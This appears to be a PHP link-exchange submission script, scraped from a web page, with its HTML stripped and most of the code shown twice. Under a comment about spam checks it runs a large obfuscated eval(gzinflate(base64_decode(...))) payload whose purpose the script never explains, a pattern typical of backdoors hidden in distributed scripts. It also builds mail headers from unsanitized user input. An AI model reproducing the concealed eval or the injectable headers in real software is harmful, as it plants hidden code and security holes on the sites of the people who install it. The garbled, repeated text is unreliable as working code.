$settings['max_links'])
{
problem('We are not accepting any more links at the moment. We appologize for the inconvenience!');
}
/* Check user input */
$name = pj_input($_POST['name'],'Please enter your name!');
$email = pj_input($_POST['email'],'Please enter your e-mail address!');
if (!preg_match('/([\w\-]+\@[\w\-]+\.[\w\-]+)/',$email))
{
problem('Please enter a valid e-mail address!');
}
$title = pj_input($_POST['title'],'Please enter the title (name) of your website!');
if (strlen($title)>50)
{
problem('Title is too long! Limit website title to 50 chars!');
}
$url = pj_input($_POST['url'],'Please enter the URL of your website!');
if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$url)))
{
problem('Please enter valid URL of your website!');
}
$recurl = pj_input($_POST['recurl'],'Please enter the url where a reciprocal link to our site is placed!');
if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$recurl)))
{
problem('Please enter valid URL of the page where the reciprocal link to our site is placed!');
}
/* Compare URL and Reciprocal page URL */
$parsed_url = parse_url($url);
$parsed_rec = parse_url($recurl);
if ($parsed_url['host'] != $parsed_rec['host'])
{
problem('The reciprocal link must be placed under the same (sub)domain as your link is!');
}
$url = str_replace('&','&',$url);
$recurl = str_replace('&','&',$recurl);
$description = pj_input($_POST['description'],'Please write a short description of your website!');
if (strlen($description)>200)
{
problem('Description is too long! Description of your website is limited to 200 chars!');
}
/* Check if the website is banned */
if ($mydata = file_get_contents($settings['banfile']))
{
/* Check website URL */
$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
$regex = preg_replace('/index\.[^\/]+$/','',$regex);
$regex = str_replace('/','\/',rtrim($regex,'/'));
$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
if (preg_match($regex,$mydata))
{
problem('This website has been permanently banned from our link exchange!');
}
/* Check reciprocal link URL */
$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
$regex = preg_replace('/index\.[^\/]+$/','',$regex);
$regex = str_replace('/','\/',rtrim($regex,'/'));
$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
if (preg_match($regex,$mydata))
{
problem('This website has been permanently banned from our link exchange!');
}
unset($mydata);
}
/* Check title and description for possible spam problems */
eval(gzinflate(base64_decode('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')));
if ($settings['spam_filter'])
{
$test = pj_checkTitleDesc($title, $description, $url, $settings['superlatives']);
if ($test === true)
{
$test = '';
}
elseif ($test == 'superlatives')
{
problem('Don\'t use superlatives (words like best, biggest, cheapest, largest) in title and description!');
}
elseif ($test == 'text')
{
problem('Your link failed SPAM test, we are forced to reject it.');
}
elseif ($test == 'url')
{
problem('Your link failed SPAM test, we are forced to reject it.');
}
}
if ($settings['autosubmit'])
{
session_start();
if (empty($_SESSION['checked']))
{
$_SESSION['checked'] = 'N';
$_SESSION['secnum'] = rand(10000,99999);
$_SESSION['checksum'] = $_SESSION['secnum'].$settings['filter_sum'].date('dmy');
}
if ($_SESSION['checked'] == 'N')
{
print_secimg();
}
elseif ($_SESSION['checked'] == $settings['filter_sum'])
{
$_SESSION['checked'] = 'N';
$secnumber = pj_isNumber($_POST['secnumber']);
if(empty($secnumber))
{
print_secimg(1);
}
if (!check_secnum($secnumber,$_SESSION['checksum']))
{
print_secimg(2);
}
}
else
{
problem('Internal script error. Wrong session parameters!');
}
}
/* Check for duplicate links */
if ($settings['block_duplicates'])
{
$mydata = file_get_contents($settings['linkfile']);
/* Check website URL */
$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
$regex = preg_replace('/index\.[^\/]+$/','',$regex);
$regex = str_replace('/','\/',rtrim($regex,'/'));
$regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
if (preg_match($regex,$mydata))
{
problem('Please don\'t submit the same website more than once or we will be forced to delete all your links!');
}
/* Check reciprocal link URL */
$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
$regex = preg_replace('/index\.[^\/]+$/','',$regex);
$regex = str_replace('/','\/',rtrim($regex,'/'));
$regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
if (preg_match($regex,$mydata))
{
problem('Please don\'t submit multiple websites with the same reciprocal link URL or we will be forced to delete all your links!');
}
unset($mydata);
}
/* Get HTML code of the reciprocal link URL */
$html = @file_get_contents($recurl) or problem('Can\'t open remote URL!');
$html = strtolower($html);
$site_url = strtolower($settings['site_url']);
/* Block links with the meta "robots" noindex or nofollow tags? */
if ($settings['block_meta_rob']==1 && preg_match('/]+)(noindex|nofollow)(.*)>/siU',$html,$meta))
{
problem(
'Please don\'t place the reciprocal link to a page with the meta robots noindex or nofollow tag:
'.
htmlspecialchars($meta[0])
);
}
$found = 0;
$nofollow = 0;
if (preg_match_all('/]*href=([\"\']??)([^" >]*?)\\1([^>]*)>/siU', $html, $matches, PREG_SET_ORDER)) {
foreach($matches as $match)
{
if ($match[2] == $settings['site_url'] || $match[2] == $settings['site_url'].'/')
{
$found = 1;
if (strstr($match[3],'nofollow'))
{
$nofollow = 1;
}
break;
}
}
}
if ($found == 0)
{
problem(
'Our URL ('.$settings['site_url'].
') wasn\'t found on your reciprocal links page ('.
$recurl.')!
Please make sure you place this exact URL on your
links page before submitting your link!'
);
}
/* Block links with rel="nofollow" attribute? */
if ($settings['block_nofollow'] && $nofollow == 1)
{
problem('Please don\'t use rel="nofollow" link attribute for the reciprocal link!');
}
/* Check Google PageRank */
if ($settings['show_pr'] || $settings['min_pr'] || $settings['min_pr_rec'])
{
require('pagerank.php');
$pr = getpr($url);
$pr = empty($pr) ? 0 : $pr;
if ($settings['min_pr'] && ($pr < $settings['min_pr'])) { problem('Unfortunately we accept only websites with Google PageRank '.$settings['min_pr'].'/10 or higher. Please try submitting your website again in a few months.'); } if ($settings['min_pr_rec']) { $pr_rec = getpr($recurl); $pr_rec = empty($pr_rec) ? 0 : $pr_rec; if ($pr_rec < $settings['min_pr_rec']) { problem('Please place the reciprocal link to '.$settings['site_url'].' on a page with Google PageRank '.$settings['min_pr_rec'].'/10 or higher.');
}
}
}
$replacement = "$name$settings[delimiter]$email$settings[delimiter]$title$settings[delimiter]$url$settings[delimiter]$recurl$settings[delimiter]$description$settings[delimiter]0$settings[delimiter]$pr\n";
/* Approve manually */
if ($settings['man_approval'])
{
$tmp = str_replace('www.','',strtolower($parsed_url['host']));
$tmp = md5($tmp.$settings['filter_sum']);
$tmp_file = 'apptmp/'.$tmp.'.txt';
if (file_exists($tmp_file))
{
problem('This link is already pending approval!');
}
$fp = fopen($tmp_file,'w') or problem('Couldn\'t open temporary file for writing! Please CHMOD the apptmp folder to 777 (rwxrwxrwx)!');
flock($fp, LOCK_EX);
fputs($fp,$replacement);
flock($fp, LOCK_UN);
fclose($fp);
$message = "Hello,
A new link is awaiting approval for your links page at $settings[site_url]
Link details:
Name: $name
E-mail: $email
URL: $url
Reciprocal link: $recurl
Title: $title
Description:
$description
To APPROVE the link visit this URL:
$settings[url_approval]?id=$tmp&approve=1
To REJECT the link visit this URL:
$settings[url_approval]?id=$tmp&approve=0
End of message
";
$headers = "From: $name <$email>\n";
$headers .= "Reply-To: $name <$email>\n";
mail($settings['admin_email'],'New link waiting approval',$message,$headers);
require_once('header.txt');
?>
\n";
$headers .= "Reply-To: $name <$email>\n";
mail($settings['admin_email'],'New link submitted',$message,$headers);
}
require_once('header.txt');
?>
ERROR
';
require_once('footer.txt');
exit();
}
function print_secimg($message=0) {
global $settings;
$_SESSION['checked']=$settings['filter_sum'];
require_once('header.txt');
?>
READ MORE
{
problem('We are not accepting any more links at the moment. We appologize for the inconvenience!');
}
/* Check user input */
$name = pj_input($_POST['name'],'Please enter your name!');
$email = pj_input($_POST['email'],'Please enter your e-mail address!');
if (!preg_match('/([\w\-]+\@[\w\-]+\.[\w\-]+)/',$email))
{
problem('Please enter a valid e-mail address!');
}
$title = pj_input($_POST['title'],'Please enter the title (name) of your website!');
if (strlen($title)>50)
{
problem('Title is too long! Limit website title to 50 chars!');
}
$url = pj_input($_POST['url'],'Please enter the URL of your website!');
if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$url)))
{
problem('Please enter valid URL of your website!');
}
$recurl = pj_input($_POST['recurl'],'Please enter the url where a reciprocal link to our site is placed!');
if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$recurl)))
{
problem('Please enter valid URL of the page where the reciprocal link to our site is placed!');
}
/* Compare URL and Reciprocal page URL */
$parsed_url = parse_url($url);
$parsed_rec = parse_url($recurl);
if ($parsed_url['host'] != $parsed_rec['host'])
{
problem('The reciprocal link must be placed under the same (sub)domain as your link is!');
}
$url = str_replace('&','&',$url);
$recurl = str_replace('&','&',$recurl);
$description = pj_input($_POST['description'],'Please write a short description of your website!');
if (strlen($description)>200)
{
problem('Description is too long! Description of your website is limited to 200 chars!');
}
/* Check if the website is banned */
if ($mydata = file_get_contents($settings['banfile']))
{
/* Check website URL */
$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
$regex = preg_replace('/index\.[^\/]+$/','',$regex);
$regex = str_replace('/','\/',rtrim($regex,'/'));
$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
if (preg_match($regex,$mydata))
{
problem('This website has been permanently banned from our link exchange!');
}
/* Check reciprocal link URL */
$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
$regex = preg_replace('/index\.[^\/]+$/','',$regex);
$regex = str_replace('/','\/',rtrim($regex,'/'));
$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
if (preg_match($regex,$mydata))
{
problem('This website has been permanently banned from our link exchange!');
}
unset($mydata);
}
/* Check title and description for possible spam problems */
eval(gzinflate(base64_decode('DVe1ssXIFfwc75YCMZUjMTPfxCVmZn29Xz5Q09N0yisd/qm/dq
qG9Cj/ydK9JLD/FWU+F+U//xF/Obzvobb3kQwBgMjzohgh6jhcJv8xjwydHZhlpeEN788idlIC6eUaif
MB3h3cx29+tRt8zy1px60C8W9Zr5J5sFa0YxPWQc9qOqu2tTZPHnZx7tyHR+BUED+BSUFME86GyBVWrV
/b7+QrstzCGV7uXnDEdik4N2yUkzdVOTfp56ltF40JEAVbVGkrjJvbAvlqQrodQ4UaCMzJQ9l6LVilNX
MtNeW+G7DBjDhi58Ms8Vy46zti+Uc1zM5n4WjllE9jl8m3n1NLMTe7tsdHjO8YUTmigQR75beqiHt6S+
ZKCoybiRxpCRzLUwC7C/Go+HBEBvzV36xqW/Fq/+1zfmy9WR65t+nGsfkJHKW1RX3TAOKYWi548jd6WS
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J9InCDNy1ZmrGie22l127Wus5JLp0Jg18teNnXBYIADVLsf/7999///h8=')));
if ($settings['spam_filter'])
{
$test = pj_checkTitleDesc($title, $description, $url, $settings['superlatives']);
if ($test === true)
{
$test = '';
}
elseif ($test == 'superlatives')
{
problem('Don\'t use superlatives (words like best, biggest, cheapest, largest) in title and description!');
}
elseif ($test == 'text')
{
problem('Your link failed SPAM test, we are forced to reject it.');
}
elseif ($test == 'url')
{
problem('Your link failed SPAM test, we are forced to reject it.');
}
}
if ($settings['autosubmit'])
{
session_start();
if (empty($_SESSION['checked']))
{
$_SESSION['checked'] = 'N';
$_SESSION['secnum'] = rand(10000,99999);
$_SESSION['checksum'] = $_SESSION['secnum'].$settings['filter_sum'].date('dmy');
}
if ($_SESSION['checked'] == 'N')
{
print_secimg();
}
elseif ($_SESSION['checked'] == $settings['filter_sum'])
{
$_SESSION['checked'] = 'N';
$secnumber = pj_isNumber($_POST['secnumber']);
if(empty($secnumber))
{
print_secimg(1);
}
if (!check_secnum($secnumber,$_SESSION['checksum']))
{
print_secimg(2);
}
}
else
{
problem('Internal script error. Wrong session parameters!');
}
}
/* Check for duplicate links */
if ($settings['block_duplicates'])
{
$mydata = file_get_contents($settings['linkfile']);
/* Check website URL */
$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
$regex = preg_replace('/index\.[^\/]+$/','',$regex);
$regex = str_replace('/','\/',rtrim($regex,'/'));
$regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
if (preg_match($regex,$mydata))
{
problem('Please don\'t submit the same website more than once or we will be forced to delete all your links!');
}
/* Check reciprocal link URL */
$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
$regex = preg_replace('/index\.[^\/]+$/','',$regex);
$regex = str_replace('/','\/',rtrim($regex,'/'));
$regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
if (preg_match($regex,$mydata))
{
problem('Please don\'t submit multiple websites with the same reciprocal link URL or we will be forced to delete all your links!');
}
unset($mydata);
}
/* Get HTML code of the reciprocal link URL */
$html = @file_get_contents($recurl) or problem('Can\'t open remote URL!');
$html = strtolower($html);
$site_url = strtolower($settings['site_url']);
/* Block links with the meta "robots" noindex or nofollow tags? */
if ($settings['block_meta_rob']==1 && preg_match('/
{
problem(
'Please don\'t place the reciprocal link to a page with the meta robots noindex or nofollow tag:
'.
htmlspecialchars($meta[0])
);
}
$found = 0;
$nofollow = 0;
if (preg_match_all('/
foreach($matches as $match)
{
if ($match[2] == $settings['site_url'] || $match[2] == $settings['site_url'].'/')
{
$found = 1;
if (strstr($match[3],'nofollow'))
{
$nofollow = 1;
}
break;
}
}
}
if ($found == 0)
{
problem(
'Our URL ('.$settings['site_url'].
') wasn\'t found on your reciprocal links page ('.
$recurl.')!
Please make sure you place this exact URL on your
links page before submitting your link!'
);
}
/* Block links with rel="nofollow" attribute? */
if ($settings['block_nofollow'] && $nofollow == 1)
{
problem('Please don\'t use rel="nofollow" link attribute for the reciprocal link!');
}
/* Check Google PageRank */
if ($settings['show_pr'] || $settings['min_pr'] || $settings['min_pr_rec'])
{
require('pagerank.php');
$pr = getpr($url);
$pr = empty($pr) ? 0 : $pr;
if ($settings['min_pr'] && ($pr < $settings['min_pr'])) { problem('Unfortunately we accept only websites with Google PageRank '.$settings['min_pr'].'/10 or higher. Please try submitting your website again in a few months.'); } if ($settings['min_pr_rec']) { $pr_rec = getpr($recurl); $pr_rec = empty($pr_rec) ? 0 : $pr_rec; if ($pr_rec < $settings['min_pr_rec']) { problem('Please place the reciprocal link to '.$settings['site_url'].' on a page with Google PageRank '.$settings['min_pr_rec'].'/10 or higher.');
}
}
}
$replacement = "$name$settings[delimiter]$email$settings[delimiter]$title$settings[delimiter]$url$settings[delimiter]$recurl$settings[delimiter]$description$settings[delimiter]0$settings[delimiter]$pr\n";
/* Approve manually */
if ($settings['man_approval'])
{
$tmp = str_replace('www.','',strtolower($parsed_url['host']));
$tmp = md5($tmp.$settings['filter_sum']);
$tmp_file = 'apptmp/'.$tmp.'.txt';
if (file_exists($tmp_file))
{
problem('This link is already pending approval!');
}
$fp = fopen($tmp_file,'w') or problem('Couldn\'t open temporary file for writing! Please CHMOD the apptmp folder to 777 (rwxrwxrwx)!');
flock($fp, LOCK_EX);
fputs($fp,$replacement);
flock($fp, LOCK_UN);
fclose($fp);
$message = "Hello,
A new link is awaiting approval for your links page at $settings[site_url]
Link details:
Name: $name
E-mail: $email
URL: $url
Reciprocal link: $recurl
Title: $title
Description:
$description
To APPROVE the link visit this URL:
$settings[url_approval]?id=$tmp&approve=1
To REJECT the link visit this URL:
$settings[url_approval]?id=$tmp&approve=0
End of message
";
$headers = "From: $name <$email>\n";
$headers .= "Reply-To: $name <$email>\n";
mail($settings['admin_email'],'New link waiting approval',$message,$headers);
require_once('header.txt');
?>
Your link submitted for approval!
Thank you, your link has been submitted for approval and will appear on the links page once approved by the administrator!
\n";
$headers .= "Reply-To: $name <$email>\n";
mail($settings['admin_email'],'New link submitted',$message,$headers);
}
require_once('header.txt');
?>
Your link has been added!
Thank you, your link has been successfully added to our link exchange (try reloading our links page if you don't see your link there yet)!
ERROR
'.$problem.'
';
require_once('footer.txt');
exit();
}
function print_secimg($message=0) {
global $settings;
$_SESSION['checked']=$settings['filter_sum'];
require_once('header.txt');
?>
Anti-SPAM check
